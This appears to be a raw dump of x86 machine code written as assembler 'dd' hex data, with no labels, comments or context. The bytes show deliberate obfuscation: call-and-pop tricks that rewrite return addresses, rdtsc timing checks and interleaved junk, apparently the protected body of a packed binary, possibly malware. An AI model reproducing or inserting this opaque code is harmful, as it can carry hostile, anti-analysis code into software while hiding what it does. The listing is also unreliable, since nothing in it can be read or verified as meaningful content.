9D8BF94Dh, 622184Dh dd 4E8h, 3576A800h, 0D38B66A4h, 60525050h, 310F5250h, 14B1585Ah dd 52310F61h, 310F5250h, 5A5A585Ah, 24448B58h, 0C0BB6604h dd 50008B4Ah, 8E9h, 0A5F26000h, 0E65AB1BCh, 44895A8Bh dd 0DF8B0424h, 6840F58h, 29000000h, 22004585h, 5B5FF06h dd 8106221Dh, 4C8B7FC2h, 0BE858D23h, 6A06257Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8162C353h, 45A52CEAh, 3D0FF14h, 221EE995h, 8959B706h dd 2206B985h, 52566006h, 0B58B5859h, 62207C1h, 0D3B70F61h dd 330985C6h, 9450622h, 22308585h, 0E870F06h, 0E9000000h dd 9, 24C61E91h, 872C4A86h, 4E81Ah, 69690000h, 0D18B8E72h dd 5CBA6650h, 24448B26h, 10E804h, 805C0000h, 1704291h dd 0D122648Ah, 45531115h, 1B6EADDh, 0F008B5Ah, 0E82h, 5E96000h dd 7000000h, 50E44EF0h, 89615951h, 0E8042444h, 8, 0B7AB8D45h dd 9BC47B21h, 0C92DBB66h, 8D89585Bh, 62206E1h, 0B5FFDA8Bh dd 6222649h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0E3C35343h, 0F9BD89DBh, 8D062206h, 257DBE85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 29D0FF3Ah, 2208398Dh, 8901B706h, 2201A985h, 1D9D8906h dd 8B062208h, 0F19D01D2h, 8B062231h, 2226259Dh, 0D98C6606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3BC35646h dd 59062301h, 7B240102h, 34D9958Bh, 0E2810622h, 452EFA18h dd 0F04C1F6h, 20884h, 0EA816600h, 0BA66BADDh, 1DE91E52h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 8F7BC356h, 0FE92Eh, 98480000h dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 0A985892Fh, 8B062208h dd 2232C1B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 87BD2413h, 2BDBCBC5h, 8531B627h dd 622210Dh, 619D31h, 0C6810622h dd 1180h, 210DB529h, 0BD830622h, 62232B1h, 12850F00h, 0BA000000h dd 2E6539D1h, 74E9h, 0E2815300h, 72894B8Ah, 3E835Bh, 63840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9802A6C3h, 0EE450A91h, 68A0Fh, 0BD290000h dd 6223175h, 33D38160h, 8B77A30Bh, 2232AD95h, 89146A06h dd 2217DDB5h, 7595FF06h, 8B062230h, 2209FD95h, 1566106h dd 220311B5h, 9AE95A06h, 81FFFFFFh, 5E9625CBh, 106C724h dd 0E9000000h, 0Ch, 3D706EF0h, 5D372EA9h, 0F87DB603h, 5056BD83h dd 0F050622h, 0D085h, 606DB300h, 148D9589h, 3EB80622h dd 6171AE23h, 1A9B58Bh, 0C3810622h, 6204A581h, 64B9h, 80D18B00h dd 840FE83Eh, 3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 6AC35646h, 0AAD96CBCh, 4DD75CD0h, 5D958B1Dh dd 8906221Fh, 2232018Dh, 3BE906h, 81660000h, 808974F2h dd 0FC2057Eh, 5184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 972BEBD2h, 6810FADh, 29000000h dd 221B898Dh, 9D8B4606h, 6220EA9h, 78850F49h, 0E9FFFFFFh dd 0Bh, 5B31BE10h, 944578h, 0E9B30956h, 11h, 0B589D38Bh dd 6220131h, 3860Fh, 0BF0F0000h, 958B58DFh, 6222911h, 20A1BD83h dd 0F000622h, 13584h, 0AD9D8B00h, 60062226h, 26018D89h dd 85C60622h, 6223309h, 55006A54h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0B2545810h, 0E6161C69h dd 6E8BFh, 5C940000h, 2C37A7FBh, 1860Fh, 5BFC0000h, 4E8h dd 4EBEF400h, 0DBBA66FFh, 890F5035h, 0Ah, 4840Fh, 0BB660000h dd 448B99FFh, 8B0424h, 9105BA66h, 4244489h, 58D38B66h dd 6830Fh, 8D290000h, 6220EF5h, 2649B5FFh, 9D8B0622h, 622297Dh dd 858D67B6h, 6257DBEh, 0E3D9589h, 0FFF80622h, 6ADE8BD0h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 5A13D7F2h, 1DB58910h, 0FF062220h, 2220A1B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 214DB3FEh, 28676EF1h, 9D89E390h, 6223515h dd 9D8BD0FFh, 62215BDh, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 6D4C84F7h, 59926900h dd 8D0F3436h, 2, 85C7D78Bh, 6222C69h, 1, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0BCC35141h, 0D9C73288h dd 98345203h, 2FB98D29h, 81600622h, 8ED8CCAh, 0C2EF682Ch dd 5060FDB1h, 11E852h, 4CEA0000h, 0AEF8EC1Bh, 24D81747h dd 77552CE0h, 582DF4B3h, 29B3310Fh, 56BF585Ah, 6117694Ch dd 91240481h, 0F5024E3Dh, 9D8BFF6Ah, 6220F35h, 11958B57h dd 5B062230h, 31BD95FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 78487AC3h, 11D6DB28h dd 8BAFAF2Eh, 6880FD9h, 89000000h, 2216158Dh, 0BA666106h dd 958B64AAh, 62221CDh, 89905090h, 2207E18Dh, 75858B06h dd 8B062233h, 2225E995h, 0FC00B06h, 1D84h, 6800F00h, 81000000h dd 0A98734EAh, 0A995FF61h, 0BB06221Eh, 2CF60C9Eh, 30619D8Bh dd 85C70622h, 6223529h, 1, 8D41BB66h, 14A9BD83h, 0F000622h dd 1784h, 0D3BF0F00h, 319D95FFh, 9E90622h, 7C000000h, 0D96978Eh dd 0E963CB4Dh, 8C5BD83h, 0F000622h, 4984h, 399D8B00h, 0FF062233h dd 2204D995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 817B9719h, 0C7BADDC2h, 14E962h, 78F60000h dd 0A8E040D6h, 2856D165h, 90837839h, 5EAE91B4h, 0BD83EBFCh dd 6220F81h, 50840F00h, 53000000h, 6614BB66h, 99BD835Bh dd 6221Bh, 3D850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 554051C3h, 0F9DC28A3h dd 89CFAA8Eh, 2214998Dh, 2840F06h, 8B000000h, 2995FFDEh dd 66062231h, 8377D1BBh, 221435BDh, 840F0006h, 41h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h, 0DE8BE4A6h dd 8581D98Ah, 6221B39h, 4003h, 0FD9D8Bh, 85810622h, 6220E59h dd 4003h, 1F04F4BAh, 6A310F5Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 4BBCC351h, 0F5E36963h dd 14EFFE41h, 8D19D31h, 8D8D0622h, 622619Ah, 330189F9h dd 519531C2h, 89062231h, 6E90441h, 0A9000000h, 0B746C0AAh dd 4FDB8152h, 0F38DBC2h, 75B50931h, 8D062224h, 2261AA8Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0C00ECD17h, 89F47C3Ah, 0EE901h, 0B620000h dd 517E4930h, 0B88FB2Fh, 1C73A6h, 5E9C233h, 0A8000000h dd 0CABCC825h, 6A044189h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0F3D0C350h, 0BD83D38Ah dd 6222605h, 36840F00h, 0B6000000h, 0BE95124h, 5000000h dd 88D7710Ah, 9ED84147h, 0FF5A4B1Dh, 220FD195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0F9BD8376h, 1062221h, 0BE850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1486E6C3h dd 9AE9B9h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 35CBFFC3h, 3FBC8B0Fh, 29E30926h dd 220169B5h, 6840F06h, 89000000h, 220541BDh, 0EDB58B06h dd 0C7062262h, 6, 94B58B00h, 0C7062260h, 6, 6ACF00h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 27E95DC3h, 0D19D31D4h, 0F5062225h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 38C35747h, 4882A807h, 2581C390h dd 3529BD83h, 0F000622h, 1CB84h, 659D2B00h, 8306221Ah dd 221EB5BDh, 850F0106h, 16Ch, 8D8B1CB7h, 622504Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 59C35343h, 0BE5F3051h dd 668BC86h, 0C627B680h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0B08280C3h, 0B282BA68h dd 0F3107F7h, 387h, 0DE8B6600h, 9EAF381h, 1606372h, 221CC59Dh dd 4E806h, 800000h, 0BB560000h, 7CE868DEh, 28B3505Bh, 424448Bh dd 4800Fh, 0BA660000h, 8BA6D6h, 89D98B66h, 0E9042444h dd 0Dh, 9E604F5Ch, 1DE7A2D5h, 33D129Ah, 6A58D6h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0F8B7BCC3h, 91ECE253h, 0AD9D8B96h, 6A062208h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8287E4D3h, 5E8h, 2C6BFB00h, 0AE9E136h, 0A9000000h, 59532F6h dd 0F2366F07h dd 95FF5AABh, 62231BDh, 0C1EA8166h, 2D9D89ADh, 61062211h dd 95FFE9B6h, 6222539h, 32118589h, 8D8B0622h, 622504Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 19C35242h dd 4E9F1129h, 958BD399h, 6221A9Dh, 0F5001FEh, 68Fh, 31950300h dd 5A062227h, 1CCDBD83h, 0F010622h, 3F85h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 9B502827h, 1C680256h, 8960E7E7h, 2201AD95h, 0BE666006h dd 9589CBF8h, 6222495h, 9D296161h, 6222545h, 0BD83C08Bh dd 62208DDh, 83097500h, 220A21BDh, 1A740006h, 0C08B5350h dd 1B39858Bh, 85890622h, 6221B39h, 0BFC99D8Dh, 0D3FF0624h dd 0BD83585Bh, 6220A21h, 50187400h, 39858B53h, 8906221Bh dd 221B3985h, 0B89D8D06h, 0FF0624BCh, 8B585BD3h, 2226419Dh dd 1D9D8B06h, 8B062222h, 2218B195h, 66C08B06h, 9852D381h dd 3529BD83h, 0F000622h, 1B85h, 1D9D8B00h, 8306221Ch, 2226D5BDh dd 840F0006h, 8, 0A5B50960h, 6106221Ah, 3529BD83h, 0F000622h dd 6084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8B56A54Ch, 220FB195h, 35BD8306h dd 6220Ah, 2F840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0F4330C3h, 68Dh, 399D3100h dd 0B062235h, 2230699Dh, 29BD8306h, 62235h, 46840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E84DEFC3h, 0Dh, 5737D8A0h, 54394C70h, 0F23C51ADh, 85EE8009h dd 35BD835Bh, 6220Ah, 6840Fh, 0B5890000h, 6223035h, 3529BD83h dd 0F000622h, 3684h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 30BD0F77h, 0D98BA4CBh dd 0F41BD83h, 0F000622h, 684h, 0AD958900h, 83062205h, 223529BDh dd 840F0006h, 1Bh, 83DAF680h, 220B15BDh, 840F0006h, 0Bh dd 21E995FFh, 81660622h, 8B4886CBh, 15950BC0h, 83062221h dd 2208DDBDh, 9750006h, 0A21BD83h, 74000622h, 8B53501Ah dd 59858BC0h, 8906220Eh, 220E5985h, 309D8D06h, 0FF0624C0h dd 83585BD3h, 220A21BDh, 18740006h, 858B5350h, 6220E59h dd 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 24459D8Bh dd 9D8B0622h, 6223371h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0CFC35646h, 128F0FE5h, 0E9000000h, 0Dh dd 3FDCC686h, 1DEF3D06h, 0E98EB612h, 6AC08BF2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 9D25C357h, 8B0F5591h, 16h, 11E9h, 0D1544D00h, 0A16AE8D7h dd 210B7902h, 13267987h, 0BB663E7Bh, 0BD833BE9h, 6223529h dd 16840F00h, 31000004h, 220095B5h, 0C5BD8306h, 2062215h dd 25840Fh, 0B70F0000h, 0F9BD83D6h, 1062221h, 15850Fh dd 10E90000h, 35000000h, 947E429Fh, 611AEB23h, 0EFF54929h dd 605FFFE5h, 0D60DE3BBh, 4A8D8B5Fh, 8B062250h, 22054D9Dh dd 6A01FE06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 5785C357h, 667244AEh, 0E8695BBBh dd 4, 80h, 3B97D5BBh, 6E85033h, 95000000h, 116048F2h, 8E8F0h dd 80000h, 83AAEABAh, 6160D5CAh, 448B5A5Ah, 8B0424h, 63B858BBh dd 2444891Bh, 337BA04h, 0F582509h, 28Dh, 6AADB200h, 0DEBA66FFh dd 0BD95FF2Ch, 6A062231h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 2204C350h, 0B7C7C0B1h dd 0E961E4B3h, 0Ch, 0A7DEDD11h, 17879F20h, 0CE775A18h dd 1B7D9D8Bh, 0BD8D0622h, 62218CDh, 195D9D89h, 4F8B0622h dd 58B0F1Ch, 0BB000000h, 6ACCD317h, 0B589016Ah, 6223495h dd 13BA5191h, 5B69F325h, 0D7BA6650h, 95299163h, 6223239h dd 4449858Dh, 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 3159E7C3h, 0C16C64FCh, 0D0FF3BA0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 95C35141h dd 0DE9h, 0C5A0AB00h, 0F5D8BFEh, 325DF423h, 4F8BEECAh dd 2D9D8B20h, 6A062211h, 58BB5003h, 897B7524h, 0BA66240Ch dd 858DA8DCh, 6254449h, 9D8B5160h, 6221621h, 0D0FF615Bh dd 0BE952h, 7E970000h, 0C58B8697h, 66048BB7h, 0FC8A5BDFh dd 18CDBD8Dh, 0BD010622h, 6221541h, 661C4F8Bh, 6A4A3EBBh dd 5E95001h, 11000000h, 2ABF3290h, 0F240C89h, 858DD2B7h dd 6254449h, 1D559D89h, 0B0600622h, 0CABF0F74h, 0E8D0FF61h dd 11h, 0A0D524ABh, 640012CFh, 505DB220h, 0ED7281E6h, 0CCA8187h dd 5A407A51h, 0EA19D8Bh, 4F8B0622h, 7E920h, 15500000h dd 0D1BE308Ah, 6E919h, 295F0000h, 9E5CC9EFh, 0D38A036Ah dd 12E891h, 0B6D30000h, 6F976D0Dh, 9556F446h, 6A37F501h dd 7CCC7356h, 830F56h, 5A000000h, 0BA60505Bh, 3C79E4B0h dd 9161D88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 45C35343h, 0DE55DD3Eh, 10E9h, 0AFC47F00h, 251E8E65h dd 188B7B2Eh, 0D04886Eh, 49858DC3h, 66062544h, 0D0FFD38Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 83C35141h dd 8BDB4E71h, 22504A8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 47E9BDFEh, 0E402BAE8h dd 5B48B757h, 6A01FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 87471EC3h, 0D9C54D0Fh, 9D8B7C31h dd 6222055h, 504A858Bh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0B822F5C3h, 2D958Bh dd 0C2810622h, 1DD0C6E8h, 9D8B00FEh, 6222FADh, 6A016Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 65A5B5C3h, 0BB54F50Ch, 2B8DF94Dh, 0C5E38F68h, 0D68B66CEh dd 70240481h, 6A3139BCh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 5795C352h, 0C74E25FEh dd 8B4E7FA5h, 53858DD3h, 6A062544h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AF41C355h dd 0BA9FDD58h, 8CB8BBEFh, 0B509324Eh, 6222529h, 0FE850h dd 15A0000h, 0A9DC784Ch, 520CEC8Fh, 2CC65677h, 5B6160C3h dd 8BD0FF5Ah, 2214F59Dh, 0D5BD8306h, 62226h, 138840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 890FCCC3h, 1Fh, 198E0Fh, 13E80000h, 91000000h dd 423CC1B0h, 459CCD2Dh, 43A03940h, 7D0C6DA0h, 835AD9C6h dd 2200F5BDh, 850F0106h, 0EAh, 4840Fh, 0BA660000h, 8D8DB0BCh dd 625445Dh, 12E9h, 0C8851500h, 0CD25471Ch, 0D6428724h dd 296467AAh, 0F5440BB6h, 22B3036Ah, 6A016Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h dd 50400000h, 0B474BDC3h, 0E9C8E845h, 8B8692A4h, 2201B99Dh dd 118A0F06h, 0E8000000h, 6, 42B7365Ah, 0F8BBC4A6h, 5B577C34h dd 0E780D1FFh, 6A016AD9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0E209C355h, 28A5663Ah dd 12E953h, 0E8310000h, 2CDE40F4h, 9586993Bh, 60A06031h dd 9D948039h, 6A016A5Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 590BC356h, 0F529C55Dh dd 28D0Fh, 0D88B0000h, 0BB66D1FFh, 2BE80585h, 80FA3969h dd 206AF3DAh, 8D8B6052h, 622192Dh, 19699529h, 5B610622h dd 0A7BAFF6Ah, 8B47631Fh, 2206E995h, 0BD95FF06h, 0E8062231h dd 14h, 981686C8h, 331C7445h, 2126E735h, 8C2FCC94h, 38A95FD1h dd 5EDABB66h, 0B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3C3078C3h, 358CD323h dd 9D8B8B1Ah, 6221179h, 840FC00Bh, 3Fh, 0BE9h, 1025900h dd 0A3F97B24h, 1D9FF66Ch, 3555BD83h, 0F000622h, 2284h dd 0B595FF00h, 6A062207h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B81C356h, 2200E185h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 21F815AEh, 0C60B13B6h, 8B660000h, 8C6658DAh dd 8DF381D9h, 894CB7A2h, 22302DB5h, 4C1F606h, 52840Fh dd 0C3810000h, 49C150D1h, 8B665753h, 0E95A5AD3h, 40h, 1F5D9D8Bh dd 0B58B0622h, 62232C1h, 81DAB70Fh, 1180C6h, 890F5600h dd 6, 198D9523h, 0C75A0622h, 6, 10E95100h, 0B2000000h dd 0A48C34A6h, 0EB5D0F17h, 0A84574CCh, 5A601B50h, 0E960605Eh dd 8, 0C2FE6AAFh, 208CF035h, 4D5BD31h, 61610622h, 0F00F883h dd 0AFE84h, 99D3300h, 83062203h, 850F01F8h, 1B9h, 123BA66h dd 0B8h, 0B4BB6600h, 0FC00BFEh, 12C84h, 0BA665700h, 835A3D63h dd 840F01F8h, 158h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0CFC35141h, 11E8E090h, 0FA000000h, 691EEA96h dd 0A5037A90h, 2CFD78A3h, 61F2E4E0h, 6890Fh, 9D8B0000h dd 62227FDh, 7D9D095Ah, 83062210h, 840F03F8h, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F4C35343h, 2B64D7BDh dd 91B589C0h, 0B6062201h, 0E0BD8D94h, 6A005B89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 6671C352h, 0DC3FF262h, 9638A766h, 0CE8h, 2ACF4800h dd 763F0CA7h, 2E88482Ah, 13E8E0h, 0FEA10000h, 4C68524Fh dd 4E647691h, 1C134150h, 8260CA0h, 9B5FBA3Dh, 5A5B207Dh dd 0D88BE7FFh, 1B8h, 8DF2B600h, 5B89E0BDh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0D78EBCECh, 0BF0F6B3Fh, 258589D1h, 0FF062201h, 6870FE7h dd 1000000h, 2214AD95h, 0D6BD8D06h, 29062246h, 2207B9B5h dd 227E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F9B489C3h, 18999509h, 85290622h dd 62233B9h, 50A585C7h, 50622h, 0C9B20000h, 0B8D08B66h dd 5, 1BE9D68Bh, 6A000009h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0B62C355h, 20CA8166h dd 2F8838Ah, 0CD850Fh, 0BA660000h, 0BD89088Eh, 6221B61h dd 0B8h, 25958B00h, 0B062200h, 80840FC0h, 0B3000000h, 0F883F9CCh dd 91840F01h, 81FFFFFFh, 0EDBEDFF3h, 3F88329h, 0FF02840Fh dd 0FE8FFFFh, 5000000h, 0AA157076h, 454EA24h, 0C6AF0F19h dd 48B6D1FBh, 60C02B5Ah, 9D89F38Bh, 6221555h, 0E0BD8D61h dd 0E8005B89h, 12h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h dd 11E98B3Eh, 6B000000h, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah dd 32E9CEAEh, 3E7FF5Bh, 2212B19Dh, 49958B06h, 8D062216h dd 2248CEBDh, 0CE906h, 0EBE40000h, 1ADC3315h, 0DCA5D28Ch dd 0FEE92AC4h, 0E8000000h, 0Bh, 3DB40CEEh, 512F0745h, 0FB02ACEh dd 835BDABFh, 850F03F8h, 47h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 17C35646h, 7E95260h, 78000000h dd 608BC312h, 615A737Ah, 15A18589h, 0BD8D0622h, 6224A62h dd 0E9D18B66h, 0A1h, 1880Fh, 83F80000h, 850F05F8h, 11h dd 0A0E28157h, 5A23E9C8h, 7BDE9h, 0A9BB6600h, 6F88375h dd 1D850Fh, 8D010000h, 6220E8Dh, 4C5ABD8Dh, 0BA660622h dd 62E9653Dh, 60000000h, 29958D89h, 83610622h, 850F07F8h dd 18h, 0B59D23h, 0BD8D0622h, 6222D9Dh, 0E2E9D68Bh, 66000000h dd 0DE8EC381h, 0F0AF883h, 3085h, 0B335B700h, 52BD8D99h dd 8906224Eh, 221DD595h, 9D950306h, 0E9062225h, 15h, 10E9h dd 6D63600h, 5A948756h, 10B373EBh, 0BA59B95h, 36BB57CDh dd 0B942208Ch, 0CF3FB8Eh, 1065958Bh, 3F830622h, 65840F00h dd 60000000h, 9DD9D29h, 0EF810622h, 6F4BA995h, 8B0F3061h dd 2203FD95h, 6AC9D106h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 2ABCC351h, 47EF6F76h dd 0E9D7B70Fh, 0FFFFFFB6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0ADC35747h, 0D6F9D433h, 1584AE97h, 57006A5Fh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 9C3287D4h, 8B66B8C0h, 4EBD89D7h, 6A062250h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 9D2C351h, 2210B5B5h, 0F2816606h, 8D8DD7A4h, 622273Dh dd 1D999D89h, 810F0622h, 1Fh, 13E8h, 0FD391700h, 610D6223h dd 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 850Fh, 0FF5A0000h dd 2201A9B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 53B45A6Fh, 0B23F858Dh, 8D500624h dd 2258C6BDh, 9A8D8D06h, 0B8062273h, 54831ABCh, 730CF2Bh dd 4947C8D0h, 0B58DF875h, 62272D8h, 73B28D8Dh, 0CF2B0622h dd 0C933A4F3h, 0B8h, 74C00B00h, 55BD8346h, 62235h, 95FF0674h dd 62207B5h, 504EB58Bh, 858D0622h, 624B23Fh, 858DD0FFh dd 62244B4h, 85C7D0FFh, 6220619h, 1, 265A58Bh, 0B58B0622h dd 6222975h, 3171AD8Bh, 0C0330622h, 6A000CC2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 5D2DC355h, 11E960B1h, 73000000h, 5DBA25A2h, 794C30E8h dd 6EF24B6Dh, 0CB43B9E2h, 299D8B61h, 8B062202h, 221B059Dh dd 1958B06h, 83062203h, 222599BDh, 840F0006h, 1Ah, 1509958Bh dd 95FF0622h, 6220041h, 8A0FFC8Ah, 6, 220D9D01h, 0BD830622h dd 62232B1h, 0F5850F00h, 89000001h, 2233A58Dh, 0F5BD8306h dd 1062200h, 1E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 830124C3h, 223195BDh dd 840F0006h dd 1B8h, 0A3BA6652h, 0BD835BABh, 62250A1h, 0A5840F00h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0F61C353h, 59915907h, 0B9958B2Bh dd 8D06221Eh, 24B23F85h, 5958B06h, 0F062227h, 68Bh, 0CD9D0900h dd 8B06222Fh, 22504EB5h, 14890F06h, 0E9000000h, 0Fh, 8EADAB33h dd 0CDC98ED6h, 0E317D880h, 0FF4F408Bh, 0C6D08AD0h, 22330985h dd 8E95406h, 7000000h, 19BCCD4Dh, 6899E0D7h, 0FAE2596Ah dd 0EE8h, 130D5400h, 0DDC13388h, 4C0C868Eh, 50036E15h dd 0DE9h, 0D690B500h, 0C27463E8h, 0FFCE283h, 5B5AE368h dd 8A240481h, 6A046C65h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 2F46C356h, 77BB6626h dd 0A9B5FF5Bh, 6A062233h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2D61C352h, 5199ECAAh dd 66D5A8F0h, 8B1E1CBBh, 0F1858DD6h, 0F506223Ah, 6800Fh dd 85890000h, 6223391h, 0BA66D0FFh, 6AE488h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 8EC35646h, 8057DC5Eh dd 8501AEDAh, 62213DDh, 0BE8h, 74AD8900h, 5D6A0C24h, 4E5B298h dd 1C15B501h, 6A5A0622h, 35958BFFh, 0FF062233h, 24EE80D0h dd 815B5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 51AE5AC3h, 38A0FBFh, 66000000h dd 0EA81DA8Bh, 2252F08Fh, 1A995FFh, 95310622h, 62219D9h dd 504EB58Bh, 0BE80622h, 0AF000000h, 0CE558D77h, 48B8A7E6h dd 5E86006h, 0D1000000h, 0A75889DBh, 18B1958Bh, 5B5B0622h dd 0BBADB2C3h, 653F19EBh, 0E1B58Bh, 8B0F0622h, 6, 2A199D89h dd 0F60B0622h, 1D840Fh, 10E90000h, 53000000h, 0ADEC1EF7h dd 6131C4B9h, 75EE1116h, 0C6E1219Dh, 81660006h, 89347EE2h dd 22505685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0ADA1CF05h, 30454CDCh, 20840Fh, 14E80000h dd 52000000h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 26FCABD4h dd 0FCB6678h, 8Eh, 0F8835B00h, 9C840F00h, 29000002h, 221E8D85h dd 0B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 35B0E5C3h, 0DE9DCE6h, 10000000h dd 0BDBBD1F0h, 5B122004h, 0DD168583h, 0F00F883h, 5884h dd 2F88300h, 1F850Fh, 8DFC0000h, 2246D185h, 2DD78B06h dd 929h, 39478DBBh, 0F3BA5008h, 890340EDh, 8BC32404h, 0B8D6h dd 0D88A0000h, 222E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 3B48FE1h, 221AF195h, 1B806h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0E6BB44C3h, 0F8628C4Ah, 68D0F52h, 